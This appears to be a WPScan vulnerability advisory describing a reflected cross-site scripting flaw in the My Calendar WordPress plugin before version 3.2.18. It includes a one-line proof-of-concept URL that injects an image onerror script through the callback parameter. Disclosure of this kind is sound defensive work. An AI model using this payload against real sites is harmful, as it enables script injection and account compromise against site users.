WordPress Plugin Vulnerabilities
My Calendar < 3.2.18 - Subscriber+ Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the callback parameter of the mc_post_lookup AJAX action (available to any authenticated user) before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?action=mc_post_lookup&term=hop&callback=%3Cimg/src/onerror=alert(/XSS/)%3E
Affects Plugins
Fixed in 3.2.18 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-11-01 (about 2 years ago)
Added
2021-11-01 (about 2 years ago)
Last Updated
2022-04-13 (about 2 years ago)
WPScan 